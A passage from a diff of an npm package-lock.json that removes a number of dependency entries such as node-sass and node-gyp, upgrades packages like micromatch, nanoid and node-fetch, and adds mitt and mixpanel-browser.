"^7.0.1", - "redent": "^3.0.0", - "trim-newlines": "^3.0.0", - "type-fest": "^0.18.0", - "yargs-parser": "^20.2.3" - }, - "engines": { - "node": ">=10" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/meow/node_modules/hosted-git-info": { - "version": "4.0.2", - "resolved": "https://registry.npmjs.org/hosted-git-info/-/hosted-git-info-4.0.2.tgz", - "integrity": "sha512-c9OGXbZ3guC/xOlCg1Ci/VgWlwsqDv1yMQL1CWqXDL0hDjXuNcq0zuR4xqPSuasI3kqFDhqSyTjREz5gzq0fXg==", - "dev": true, - "optional": true, - "peer": true, - "dependencies": { - "lru-cache": "^6.0.0" - }, - "engines": { - "node": ">=10" - } - }, - "node_modules/meow/node_modules/normalize-package-data": { - "version": "3.0.3", - "resolved": "https://registry.npmjs.org/normalize-package-data/-/normalize-package-data-3.0.3.tgz", - "integrity": "sha512-p2W1sgqij3zMMyRC067Dg16bfzVH+w7hyegmpIvZ4JNjqtGOVAIvLmjBx3yP7YTe9vKJgkoNOPjwQGogDoMXFA==", - "dev": true, - "optional": true, - "peer": true, - "dependencies": { - "hosted-git-info": "^4.0.1", - "is-core-module": "^2.5.0", - "semver": "^7.3.4", - "validate-npm-package-license": "^3.0.1" - }, - "engines": { - "node": ">=10" - } - }, - "node_modules/meow/node_modules/semver": { - "version": "7.3.5", - "resolved": "https://registry.npmjs.org/semver/-/semver-7.3.5.tgz", - "integrity": "sha512-PoeGJYh8HK4BTO/a9Tf6ZG3veo/A7ZVsYrSA6J8ny9nb3B1VrpkuN+z9OE5wfE5p6H4LchYZsegiQgbJD94ZFQ==", - "dev": true, - "optional": true, - "peer": true, - "dependencies": { - "lru-cache": "^6.0.0" - }, - "bin": { - "semver": "bin/semver.js" - }, - "engines": { - "node": ">=10" - } - }, - "node_modules/meow/node_modules/type-fest": { - "version": "0.18.1", - "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.18.1.tgz", - "integrity": "sha512-OIAYXk8+ISY+qTOwkHtKqzAuxchoMiD9Udx+FSGQDuiRR+PJKJHc2NJAXlbhkGwTt/4/nKZxELY1w3ReWOL8mw==", - "dev": true, - "optional": true, - "peer": true, - "engines": { - "node": ">=10" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/merge-descriptors": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/merge-descriptors/-/merge-descriptors-1.0.1.tgz", - "integrity": "sha512-cCi6g3/Zr1iqQi6ySbseM1Xvooa98N0w31jzUYrXPX2xqObmFGHJ0tQ5u74H3mVh7wLouTseZyYIq39g8cNp1w==" - }, "node_modules/merge-stream": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/merge-stream/-/merge-stream-2.0.0.tgz", "integrity": "sha512-abv/qOcuPfk3URPfDzmZU1LKmuw8kT+0nIHvKrKgFrwifol/doWcdA4ZqsWQ8ENrFKkd67Mfpo/LovbIUsbt3w==", "dev": true }, - "node_modules/merge2": { - "version": "1.4.1", - "resolved": "https://registry.npmjs.org/merge2/-/merge2-1.4.1.tgz", - "integrity": "sha512-8q7VEgMJW4J8tcfVPy8g09NcQwZdbwFEqhe/WZkoIzjn/3TGDwtOCYtXGxA3O8tPzpczCCDgv+P2P5y00ZJOOg==", - "dev": true, - "engines": { - "node": ">= 8" - } - }, "node_modules/merkle-patricia-tree": { "version": "2.3.2", "resolved": "https://registry.npmjs.org/merkle-patricia-tree/-/merkle-patricia-tree-2.3.2.tgz", @@ -12946,22 +11269,14 @@ "safe-buffer": "~5.1.0" } }, - "node_modules/methods": { - "version": "1.1.2", - "resolved": "https://registry.npmjs.org/methods/-/methods-1.1.2.tgz", - "integrity": "sha512-iclAHeNqNm68zFtnZ0e+1L2yUIdvzNoauKU4WBA3VvH/vPFieF7qfRlwUZU+DA9P9bPXIS90ulxoUoCH23sV2w==", - "engines": { - "node": ">= 0.6" - } - }, "node_modules/micromatch": { - "version": "4.0.4", - "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-4.0.4.tgz", - "integrity": "sha512-pRmzw/XUcwXGpD9aI9q/0XOwLNygjETJ8y0ao0wdqprrzDa4YnxLcz7fQRZr8voh8V10kGhABbNcHVk5wHgWwg==", + "version": "4.0.8", + "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-4.0.8.tgz", + "integrity": "sha512-PXwfBhYu0hBCPw8Dn0E+WDYb7af3dSLVWKi3HGv84IdF4TyFoC0ysxFd0Goxw7nSv4T/PzEJQxsYsEiFCKo2BA==", "dev": true, "dependencies": { - "braces": "^3.0.1", - "picomatch": "^2.2.3" + "braces": "^3.0.3", + "picomatch": "^2.3.1" }, "engines": { "node": ">=8.6" @@ -12984,17 +11299,6 @@ "resolved": "https://registry.npmjs.org/bn.js/-/bn.js-4.12.0.tgz", "integrity": "sha512-c98Bf3tPniI+scsdk237ku1Dc3ujXQTSgyiPUDEOe7tRkhrqridvh8klBv0HCEso1OLOYcHuCv/cS6DNxKH+ZA==" }, - "node_modules/mime": { - "version": "1.6.0", - "resolved": "https://registry.npmjs.org/mime/-/mime-1.6.0.tgz", - "integrity": "sha512-x0Vn8spI+wuJ1O6S7gnbaQg8Pxh4NNHb7KSINmEWKiPE4RKOplvijn+NkmYmmRgP68mc70j2EbeTFRsrswaQeg==", - "bin": { - "mime": "cli.js" - }, - "engines": { - "node": ">=4" - } - }, "node_modules/mime-db": { "version": "1.52.0", "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.52.0.tgz", @@ -13023,14 +11327,6 @@ "node": ">=6" } }, - "node_modules/mimic-response": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/mimic-response/-/mimic-response-1.0.1.tgz", - "integrity": "sha512-j5EctnkH7amfV/q5Hgmoal1g2QHFJRraOtmx0JpIqkxhBhI/lJSl1nMpQ45hVarwNETOoWEimndZ4QK0RHxuxQ==", - "engines": { - "node": ">=4" - } - }, "node_modules/min-document": { "version": "2.19.0", "resolved": "https://registry.npmjs.org/min-document/-/min-document-2.19.0.tgz", @@ -13039,24 +11335,14 @@ "dom-walk": "^0.1.0" } }, - "node_modules/min-indent": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/min-indent/-/min-indent-1.0.1.tgz", - "integrity": "sha512-I9jwMn07Sy/IwOj3zVkVik2JTvgpaykDZEigL6Rx6N9LbMywwUSMtxET+7lVoDLLd3O3IXwJwvuuns8UB/HeAg==", - "dev": true, - "optional": true, - "peer": true, - "engines": { - "node": ">=4" - } - }, "node_modules/mini-css-extract-plugin": { - "version": "2.6.1", - "resolved": "https://registry.npmjs.org/mini-css-extract-plugin/-/mini-css-extract-plugin-2.6.1.tgz", - "integrity": "sha512-wd+SD57/K6DiV7jIR34P+s3uckTRuQvx0tKPcvjFlrEylk6P4mQ2KSWk1hblj1Kxaqok7LogKOieygXqBczNlg==", + "version": "2.9.2", + "resolved": "https://registry.npmjs.org/mini-css-extract-plugin/-/mini-css-extract-plugin-2.9.2.tgz", + "integrity": "sha512-GJuACcS//jtq4kCtd5ii/M0SZf7OZRH+BxdqXZHaJfb8TJiVl+NgQRPwiYt2EuqeSkNydn/7vP+bcE27C5mb9w==", "dev": true, "dependencies": { - "schema-utils": "^4.0.0" + "schema-utils": "^4.0.0", + "tapable": "^2.2.1" }, "engines": { "node": ">= 12.13.0" @@ -13069,59 +11355,6 @@ "webpack": "^5.0.0" } }, - "node_modules/mini-css-extract-plugin/node_modules/ajv": { - "version": "8.10.0", - "resolved": "https://registry.npmjs.org/ajv/-/ajv-8.10.0.tgz", - "integrity": "sha512-bzqAEZOjkrUMl2afH8dknrq5KEk2SrwdBROR+vH1EKVQTqaUbJVPdc/gEdggTMM0Se+s+Ja4ju4TlNcStKl2Hw==", - "dev": true, - "dependencies": { - "fast-deep-equal": "^3.1.1", - "json-schema-traverse": "^1.0.0", - "require-from-string": "^2.0.2", - "uri-js": "^4.2.2" - }, - "funding": { - "type": "github", - "url": "https://github.com/sponsors/epoberezkin" - } - }, - "node_modules/mini-css-extract-plugin/node_modules/ajv-keywords": { - "version": "5.1.0", - "resolved": "https://registry.npmjs.org/ajv-keywords/-/ajv-keywords-5.1.0.tgz", - "integrity": "sha512-YCS/JNFAUyr5vAuhk1DWm1CBxRHW9LbJ2ozWeemrIqpbsqKjHVxYPyi5GC0rjZIT5JxJ3virVTS8wk4i/Z+krw==", - "dev": true, - "dependencies": { - "fast-deep-equal": "^3.1.3" - }, - "peerDependencies": { - "ajv": "^8.8.2" - } - }, - "node_modules/mini-css-extract-plugin/node_modules/json-schema-traverse": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz", - "integrity": "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug==", - "dev": true - }, - "node_modules/mini-css-extract-plugin/node_modules/schema-utils": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-4.0.0.tgz", - "integrity": "sha512-1edyXKgh6XnJsJSQ8mKWXnN/BVaIbFMLpouRUrXgVq7WYne5kw3MW7UPhO44uRXQSIpTSXoJbmrR2X0w9kUTyg==", - "dev": true, - "dependencies": { - "@types/json-schema": "^7.0.9", - "ajv": "^8.8.0", - "ajv-formats": "^2.1.1", - "ajv-keywords": "^5.0.0" - }, - "engines": { - "node": ">= 12.13.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/webpack" - } - }, "node_modules/minimalistic-assert": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/minimalistic-assert/-/minimalistic-assert-1.0.1.tgz", @@ -13132,235 +11365,52 @@ "resolved": "https://registry.npmjs.org/minimalistic-crypto-utils/-/minimalistic-crypto-utils-1.0.1.tgz", "integrity": "sha1-9sAMHAsIIkblxNmd+4x8CDsrWCo=" }, - "node_modules/minimatch": { - "version": "3.0.4", - "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.0.4.tgz", - "integrity": "sha512-yJHVQEhyqPLUTgt9B83PXu6W3rx4MvvHvSUvToogpwoGDOUQ+yDrR0HRot+yOCdCO7u4hX3pWft6kWBBcqh0UA==", - "dev": true, - "dependencies": { - "brace-expansion": "^1.1.7" - }, - "engines": { - "node": "*" - } - }, - "node_modules/minimist": { - "version": "1.2.6", - "resolved": "https://registry.npmjs.org/minimist/-/minimist-1.2.6.tgz", - "integrity": "sha512-Jsjnk4bw3YJqYzbdyBiNsPWHPfO++UGG749Cxs6peCu5Xg4nrena6OVxOYxrQTqww0Jmwt+Ref8rggumkTLz9Q==" - }, - "node_modules/minimist-options": { - "version": "4.1.0", - "resolved": "https://registry.npmjs.org/minimist-options/-/minimist-options-4.1.0.tgz", - "integrity": "sha512-Q4r8ghd80yhO/0j1O3B2BjweX3fiHg9cdOwjJd2J76Q135c+NDxGCqdYKQ1SKBuFfgWbAUzBfvYjPUEeNgqN1A==", - "dev": true, - "optional": true, - "peer": true, - "dependencies": { - "arrify": "^1.0.1", - "is-plain-obj": "^1.1.0", - "kind-of": "^6.0.3" - }, - "engines": { - "node": ">= 6" - } - }, - "node_modules/minipass": { - "version": "3.1.5", - "resolved": "https://registry.npmjs.org/minipass/-/minipass-3.1.5.tgz", - "integrity": "sha512-+8NzxD82XQoNKNrl1d/FSi+X8wAEWR+sbYAfIvub4Nz0d22plFG72CEVVaufV8PNf4qSslFTD8VMOxNVhHCjTw==", - "dev": true, - "optional": true, - "peer": true, - "dependencies": { - "yallist": "^4.0.0" - }, - "engines": { - "node": ">=8" - } - }, - "node_modules/minipass-collect": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/minipass-collect/-/minipass-collect-1.0.2.tgz", - "integrity": "sha512-6T6lH0H8OG9kITm/Jm6tdooIbogG9e0tLgpY6mphXSm/A9u8Nq1ryBG+Qspiub9LjWlBPsPS3tWQ/Botq4FdxA==", - "dev": true, - "optional": true, - "peer": true, - "dependencies": { - "minipass": "^3.0.0" - }, - "engines": { - "node": ">= 8" - } - }, - "node_modules/minipass-fetch": { - "version": "1.4.1", - "resolved": "https://registry.npmjs.org/minipass-fetch/-/minipass-fetch-1.4.1.tgz", - "integrity": "sha512-CGH1eblLq26Y15+Azk7ey4xh0J/XfJfrCox5LDJiKqI2Q2iwOLOKrlmIaODiSQS8d18jalF6y2K2ePUm0CmShw==", - "dev": true, - "optional": true, - "peer": true, - "dependencies": { - "minipass": "^3.1.0", - "minipass-sized": "^1.0.3", - "minizlib": "^2.0.0" - }, - "engines": { - "node": ">=8" - }, - "optionalDependencies": { - "encoding": "^0.1.12" - } - }, - "node_modules/minipass-flush": { - "version": "1.0.5", - "resolved": "https://registry.npmjs.org/minipass-flush/-/minipass-flush-1.0.5.tgz", - "integrity": "sha512-JmQSYYpPUqX5Jyn1mXaRwOda1uQ8HP5KAT/oDSLCzt1BYRhQU0/hDtsB1ufZfEEzMZ9aAVmsBw8+FWsIXlClWw==", - "dev": true, - "optional": true, - "peer": true, - "dependencies": { - "minipass": "^3.0.0" - }, - "engines": { - "node": ">= 8" - } - }, - "node_modules/minipass-pipeline": { - "version": "1.2.4", - "resolved": "https://registry.npmjs.org/minipass-pipeline/-/minipass-pipeline-1.2.4.tgz", - "integrity": "sha512-xuIq7cIOt09RPRJ19gdi4b+RiNvDFYe5JH+ggNvBqGqpQXcru3PcRmOZuHBKWK1Txf9+cQ+HMVN4d6z46LZP7A==", - "dev": true, - "optional": true, - "peer": true, - "dependencies": { - "minipass": "^3.0.0" - }, - "engines": { - "node": ">=8" - } - }, - "node_modules/minipass-sized": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/minipass-sized/-/minipass-sized-1.0.3.tgz", - "integrity": "sha512-MbkQQ2CTiBMlA2Dm/5cY+9SWFEN8pzzOXi6rlM5Xxq0Yqbda5ZQy9sU75a673FE9ZK0Zsbr6Y5iP6u9nktfg2g==", - "dev": true, - "optional": true, - "peer": true, - "dependencies": { - "minipass": "^3.0.0" - }, - "engines": { - "node": ">=8" - } - }, - "node_modules/minizlib": { - "version": "2.1.2", - "resolved": "https://registry.npmjs.org/minizlib/-/minizlib-2.1.2.tgz", - "integrity": "sha512-bAxsR8BVfj60DWXHE3u30oHzfl4G7khkSuPW+qvpd7jFRHm7dLxOjUk1EHACJ/hxLY8phGJ0YhYHZo7jil7Qdg==", + "node_modules/minimatch": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.2.tgz", + "integrity": "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==", "dev": true, - "optional": true, - "peer": true, "dependencies": { - "minipass": "^3.0.0", - "yallist": "^4.0.0" + "brace-expansion": "^1.1.7" }, "engines": { - "node": ">= 8" + "node": "*" } }, - "node_modules/mkdirp": { - "version": "1.0.4", - "resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-1.0.4.tgz", - "integrity": "sha512-vVqVZQyf3WLx2Shd0qJ9xuvqgAyKPLAiqITEtqW0oIUjzo3PePDd6fW9iFz30ef7Ysp/oiWqbhszeGWW2T6Gzw==", - "bin": { - "mkdirp": "bin/cmd.js" - }, - "engines": { - "node": ">=10" - } + "node_modules/minimist": { + "version": "1.2.6", + "resolved": "https://registry.npmjs.org/minimist/-/minimist-1.2.6.tgz", + "integrity": "sha512-Jsjnk4bw3YJqYzbdyBiNsPWHPfO++UGG749Cxs6peCu5Xg4nrena6OVxOYxrQTqww0Jmwt+Ref8rggumkTLz9Q==", + "dev": true }, - "node_modules/mkdirp-promise": { - "version": "5.0.1", - "resolved": "https://registry.npmjs.org/mkdirp-promise/-/mkdirp-promise-5.0.1.tgz", - "integrity": "sha512-Hepn5kb1lJPtVW84RFT40YG1OddBNTOVUZR2bzQUHc+Z03en8/3uX0+060JDhcEzyO08HmipsN9DcnFMxhIL9w==", - "deprecated": "This package is broken and no longer maintained. 'mkdirp' itself supports promises now, please switch to that.", + "node_modules/mitt": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/mitt/-/mitt-3.0.1.tgz", + "integrity": "sha512-vKivATfr97l2/QBCYAkXYDbrIWPM2IIKEl7YPhjCvKlG3kE2gm+uBo6nEXK3M5/Ffh/FLpKExzOQ3JJoJGFKBw==", + "license": "MIT" + }, + "node_modules/mixpanel-browser": { + "version": "2.67.0", + "resolved": "https://registry.npmjs.org/mixpanel-browser/-/mixpanel-browser-2.67.0.tgz", + "integrity": "sha512-LudY4eRIkvjEpAlIAg10i2T2mbtiKZ4XlMGbTyF1kcAhEqMa9JhEEdEcjxYPwiKhuMVSBM3RVkNCZaNqcnE4ww==", + "license": "Apache-2.0", "dependencies": { - "mkdirp": "*" - }, - "engines": { - "node": ">=4" + "rrweb": "2.0.0-alpha.18" } }, - "node_modules/mock-fs": { - "version": "4.14.0", - "resolved": "https://registry.npmjs.org/mock-fs/-/mock-fs-4.14.0.tgz", - "integrity": "sha512-qYvlv/exQ4+svI3UOvPUpLDF0OMX5euvUH0Ny4N5QyRyhNdgAgUrVH3iUINSzEPLvx0kbo/Bp28GJKIqvE7URw==" - }, "node_modules/moment": { - "version": "2.29.4", - "resolved": "https://registry.npmjs.org/moment/-/moment-2.29.4.tgz", - "integrity": "sha512-5LC9SOxjSc2HF6vO2CyuTDNivEdoz2IvyJJGj6X8DJ0eFyfszE0QiEd+iXmBvUP3WHxSjFH/vIsA0EN00cgr8w==", + "version": "2.30.1", + "resolved": "https://registry.npmjs.org/moment/-/moment-2.30.1.tgz", + "integrity": "sha512-uEmtNhbDOrWPFS+hdjFCBfy9f2YoyzRpwcl+DqpC6taX21FzsTLQVbMV/W7PzNSX6x/bhC1zA3c2UQ5NzH6how==", "engines": { "node": "*" } }, "node_modules/ms": { - "version": "2.1.2", - "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", - "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==" - }, - "node_modules/multibase": { - "version": "0.6.1", - "resolved": "https://registry.npmjs.org/multibase/-/multibase-0.6.1.tgz", - "integrity": "sha512-pFfAwyTjbbQgNc3G7D48JkJxWtoJoBMaR4xQUOuB8RnCgRqaYmWNFeJTTvrJ2w51bjLq2zTby6Rqj9TQ9elSUw==", - "deprecated": "This module has been superseded by the multiformats module", - "dependencies": { - "base-x": "^3.0.8", - "buffer": "^5.5.0" - } - }, - "node_modules/multicodec": { - "version": "0.5.7", - "resolved": "https://registry.npmjs.org/multicodec/-/multicodec-0.5.7.tgz", - "integrity": "sha512-PscoRxm3f+88fAtELwUnZxGDkduE2HD9Q6GHUOywQLjOGT/HAdhjLDYNZ1e7VR0s0TP0EwZ16LNUTFpoBGivOA==", - "deprecated": "This module has been superseded by the multiformats module", - "dependencies": { - "varint": "^5.0.0" - } - }, - "node_modules/multihashes": { - "version": "0.4.21", - "resolved": "https://registry.npmjs.org/multihashes/-/multihashes-0.4.21.tgz", - "integrity": "sha512-uVSvmeCWf36pU2nB4/1kzYZjsXD9vofZKpgudqkceYY5g2aZZXJ5r9lxuzoRLl1OAp28XljXsEJ/X/85ZsKmKw==", - "dependencies": { - "buffer": "^5.5.0", - "multibase": "^0.7.0", - "varint": "^5.0.0" - } - }, - "node_modules/multihashes/node_modules/multibase": { - "version": "0.7.0", - "resolved": "https://registry.npmjs.org/multibase/-/multibase-0.7.0.tgz", - "integrity": "sha512-TW8q03O0f6PNFTQDvh3xxH03c8CjGaaYrjkl9UQPG6rz53TQzzxJVCIWVjzcbN/Q5Y53Zd0IBQBMVktVgNx4Fg==", - "deprecated": "This module has been superseded by the multiformats module", - "dependencies": { - "base-x": "^3.0.8", - "buffer": "^5.5.0" - } - }, - "node_modules/nan": { - "version": "2.15.0", - "resolved": "https://registry.npmjs.org/nan/-/nan-2.15.0.tgz", - "integrity": "sha512-8ZtvEnA2c5aYCZYd1cvgdnU6cqwixRoYg70xPLWUws5ORTa/lnw+u4amixRS/Ac5U5mQVgp9pnlSUnbNWFaWZQ==", - "dev": true, - "optional": true, - "peer": true - }, - "node_modules/nano-json-stream-parser": { - "version": "0.1.2", - "resolved": "https://registry.npmjs.org/nano-json-stream-parser/-/nano-json-stream-parser-0.1.2.tgz", - "integrity": "sha512-9MqxMH/BSJC7dnLsEMPyfN5Dvoo49IsPFYMcHw3Bcfc2kN0lpHRBSzlMSVx4HGyJ7s9B31CyBTVehWJoQ8Ctew==" + "version": "2.1.3", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz", + "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==", + "license": "MIT" }, "node_modules/nanoassert": { "version": "1.1.0", @@ -13368,10 +11418,16 @@ "integrity": "sha1-TzFS4JVA/eKMdvRLGbvNHVpCR40=" }, "node_modules/nanoid": { - "version": "3.3.4", - "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.3.4.tgz", - "integrity": "sha512-MqBkQh/OHTS2egovRtLk45wEyNXwF+cokD+1YPf9u5VfJiRdAiRwB2froX5Co9Rh20xs4siNPm8naNotSD6RBw==", - "dev": true, + "version": "3.3.11", + "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.3.11.tgz", + "integrity": "sha512-N8SpfPUnUp1bK+PMYW8qSWdl9U+wwNWI4QKxOYDy9JAro3WMX7p2OeVRF9v+347pnakNevPmiHhNmZ2HbFA76w==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "license": "MIT", "bin": { "nanoid": "bin/nanoid.cjs" }, @@ -13393,34 +11449,21 @@ "integrity": "sha1-Sr6/7tdUHywnrPspvbvRXI1bpPc=", "dev": true }, - "node_modules/negotiator": { - "version": "0.6.3", - "resolved": "https://registry.npmjs.org/negotiator/-/negotiator-0.6.3.tgz", - "integrity": "sha512-+EUsqGPLsM+j/zdChZjsnX51g4XrHFOIXwfnCVPGlQk/k5giakcKsuxCObBRu6DSm9opw/O6slWbJdghQM4bBg==", - "engines": { - "node": ">= 0.6" - } - }, "node_modules/neo-async": { "version": "2.6.2", "resolved": "https://registry.npmjs.org/neo-async/-/neo-async-2.6.2.tgz", "integrity": "sha512-Yd3UES5mWCSqR+qNT93S3UoYUkqAZ9lLg8a7g9rimsWmYGK8cVToA4/sF3RrshdyV3sAGMXVUmpMYOw+dLpOuw==", "dev": true }, - "node_modules/next-tick": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/next-tick/-/next-tick-1.1.0.tgz", - "integrity": "sha512-CXdUiJembsNjuToQvxayPZF9Vqht7hewsvy2sOWafLvi2awflj9mOC6bHIg50orX8IJvWKY9wYQ/zB2kogPslQ==" - }, "node_modules/node-addon-api": { "version": "2.0.2", "resolved": "https://registry.npmjs.org/node-addon-api/-/node-addon-api-2.0.2.tgz", "integrity": "sha512-Ntyt4AIXyaLIuMHF6IOoTakB3K+RWxwtsHNRxllEoA6vPwP9o4866g6YWDLUdnucilZhmkxiHwHr11gAENw+QA==" }, "node_modules/node-fetch": { - "version": "2.6.7", - "resolved": "https://registry.npmjs.org/node-fetch/-/node-fetch-2.6.7.tgz", - "integrity": "sha512-ZjMPFEfVx5j+y2yF35Kzx5sF7kDzxuDj6ziH4FFbOp87zKDZNx8yExJIb05OGF4Nlt9IHFIMBkRl41VdvcNdbQ==", + "version": "2.7.0", + "resolved": "https://registry.npmjs.org/node-fetch/-/node-fetch-2.7.0.tgz", + "integrity": "sha512-c4FRfUm/dbcWZ7U+1Wq0AwCyFL+3nt2bEw05wfxSz+DWpWsitgmSgYmy2dQdWyKC1694ELPqMs/YzUSNozLt8A==", "dependencies": { "whatwg-url": "^5.0.0" }, @@ -13455,32 +11498,6 @@ "webidl-conversions": "^3.0.0" } }, - "node_modules/node-gyp": { - "version": "8.4.1", - "resolved": "https://registry.npmjs.org/node-gyp/-/node-gyp-8.4.1.tgz", - "integrity": "sha512-olTJRgUtAb/hOXG0E93wZDs5YiJlgbXxTwQAFHyNlRsXQnYzUaF2aGgujZbw+hR8aF4ZG/rST57bWMWD16jr9w==", - "dev": true, - "optional": true, - "peer": true, - "dependencies": { - "env-paths": "^2.2.0", - "glob": "^7.1.4", - "graceful-fs": "^4.2.6", - "make-fetch-happen": "^9.1.0", - "nopt": "^5.0.0", - "npmlog": "^6.0.0", - "rimraf": "^3.0.2", - "semver": "^7.3.5", - "tar": "^6.1.2", - "which": "^2.0.2" - }, - "bin": { - "node-gyp": "bin/node-gyp.js" - }, - "engines": { - "node": ">= 10.12.0" - } - }, "node_modules/node-gyp-build": { "version": "4.3.0", "resolved": "https://registry.npmjs.org/node-gyp-build/-/node-gyp-build-4.3.0.tgz", @@ -13491,62 +11508,6 @@ "node-gyp-build-test": "build-test.js" } }, - "node_modules/node-gyp/node_modules/gauge": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/gauge/-/gauge-4.0.0.tgz", - "integrity": "sha512-F8sU45yQpjQjxKkm1UOAhf0U/O0aFt//Fl7hsrNVto+patMHjs7dPI9mFOGUKbhrgKm0S3EjW3scMFuQmWSROw==", - "dev": true, - "optional": true, - "peer": true, - "dependencies": { - "ansi-regex": "^5.0.1", - "aproba": "^1.0.3 || ^2.0.0", - "color-support": "^1.1.2", - "console-control-strings": "^1.0.0", - "has-unicode": "^2.0.1", - "signal-exit": "^3.0.0", - "string-width": "^4.2.3", - "strip-ansi": "^6.0.1", - "wide-align": "^1.1.2" - }, - "engines": { - "node": "^12.13.0 || ^14.15.0 || >=16" - } - }, - "node_modules/node-gyp/node_modules/npmlog": { - "version": "6.0.0", - "resolved": "https://registry.npmjs.org/npmlog/-/npmlog-6.0.0.tgz", - "integrity": "sha512-03ppFRGlsyUaQFbGC2C8QWJN/C/K7PsfyD9aQdhVKAQIH4sQBc8WASqFBP7O+Ut4d2oo5LoeoboB3cGdBZSp6Q==", - "dev": true, - "optional": true, - "peer": true, - "dependencies": { - "are-we-there-yet": "^2.0.0", - "console-control-strings": "^1.1.0", - "gauge": "^4.0.0", - "set-blocking": "^2.0.0" - }, - "engines": { - "node": "^12.13.0 || ^14.15.0 || >=16" - } - }, - "node_modules/node-gyp/node_modules/semver": { - "version": "7.3.5", - "resolved": "https://registry.npmjs.org/semver/-/semver-7.3.5.tgz", - "integrity": "sha512-PoeGJYh8HK4BTO/a9Tf6ZG3veo/A7ZVsYrSA6J8ny9nb3B1VrpkuN+z9OE5wfE5p6H4LchYZsegiQgbJD94ZFQ==", - "dev": true, - "optional": true, - "peer": true, - "dependencies": { - "lru-cache": "^6.0.0" - }, - "bin": { - "semver": "bin/semver.js" - }, - "engines": { - "node": ">=10" - } - }, "node_modules/node-int64": { "version": "0.4.0", "resolved": "https://registry.npmjs.org/node-int64/-/node-int64-0.4.0.tgz", @@ -13554,165 +11515,10 @@ "dev": true }, "node_modules/node-releases": { - "version": "2.0.6", - "resolved": "https://registry.npmjs.org/node-releases/-/node-releases-2.0.6.tgz", - "integrity": "sha512-PiVXnNuFm5+iYkLBNeq5211hvO38y63T0i2KKh2KnUs3RpzJ+JtODFjkD8yjLwnDkTYF1eKXheUwdssR+NRZdg==" - }, - "node_modules/node-sass": { - "version": "7.0.1", - "resolved": "https://registry.npmjs.org/node-sass/-/node-sass-7.0.1.tgz", - "integrity": "sha512-uMy+Xt29NlqKCFdFRZyXKOTqGt+QaKHexv9STj2WeLottnlqZEEWx6Bj0MXNthmFRRdM/YwyNo/8Tr46TOM0jQ==", - "dev": true, - "hasInstallScript": true, - "optional": true, - "peer": true, - "dependencies": { - "async-foreach": "^0.1.3", - "chalk": "^4.1.2", - "cross-spawn": "^7.0.3", - "gaze": "^1.0.0", - "get-stdin": "^4.0.1", - "glob": "^7.0.3", - "lodash": "^4.17.15", - "meow": "^9.0.0", - "nan": "^2.13.2", - "node-gyp": "^8.4.1", - "npmlog": "^5.0.0", - "request": "^2.88.0", - "sass-graph": "4.0.0", - "stdout-stream": "^1.4.0", - "true-case-path": "^1.0.2" - }, - "bin": { - "node-sass": "bin/node-sass" - }, - "engines": { - "node": ">=12" - } - }, - "node_modules/node-sass/node_modules/ansi-styles": { - "version": "4.3.0", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", - "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", - "dev": true, - "optional": true, - "peer": true, - "dependencies": { - "color-convert": "^2.0.1" - }, - "engines": { - "node": ">=8" - }, - "funding": { - "url": "https://github.com/chalk/ansi-styles?sponsor=1" - } - }, - "node_modules/node-sass/node_modules/chalk": { - "version": "4.1.2", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", - "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", - "dev": true, - "optional": true, - "peer": true, - "dependencies": { - "ansi-styles": "^4.1.0", - "supports-color": "^7.1.0" - }, - "engines": { - "node": ">=10" - }, - "funding": { - "url": "https://github.com/chalk/chalk?sponsor=1" - } - }, - "node_modules/node-sass/node_modules/color-convert": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", - "integrity": 